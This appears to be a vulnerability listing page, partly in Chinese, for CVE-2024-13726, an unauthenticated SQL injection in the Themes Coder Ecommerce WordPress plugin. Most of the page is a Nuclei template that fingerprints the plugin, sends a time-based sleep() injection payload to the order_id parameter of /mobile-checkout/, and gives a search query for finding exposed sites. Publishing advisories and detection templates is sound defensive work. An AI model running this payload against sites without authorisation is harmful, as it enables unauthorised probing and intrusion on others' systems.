CVE-2024-13726: Themes Coder Ecommerce <= 1.3.4 - SQL Injection

日期: 2025-08-01 | 影响软件: Themes Coder Ecommerce | POC: 已公开

漏洞描述

The Themes Coder Ecommerce WordPress plugin through 1.3.4 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

PoC代码[已公开]

id: CVE-2024-13726

info:
  name: Themes Coder Ecommerce <= 1.3.4 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The Themes Coder Ecommerce WordPress plugin through 1.3.4 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  reference:
    - https://wpscan.com/vulnerability/ec226d22-0c09-4e7c-86ec-b64819089b60/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13726
  classification:
    epss-score: 0.13988
    epss-percentile: 0.94081
  metadata:
    verified: true
    max-request: 2
    vendor: themescoder
    product: tc-ecommerce
    framework: wordpress
    fofa-query: body="wp-content/plugins/tc-ecommerce/"
  tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,sqli,tc-ecommerce,timebased-sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "tc-ecommerce")'
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /mobile-checkout/?order_id=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402200611193c532a0cbced9b8f9118b04bccf14083811fa8b2899ec64c52e20ac43f022048f40b76bee6d1395e4767635fb9723ee404a929000d20fd3b792bb08a856cfd:922c64590222798bb761d5b6d8e72950

相关漏洞推荐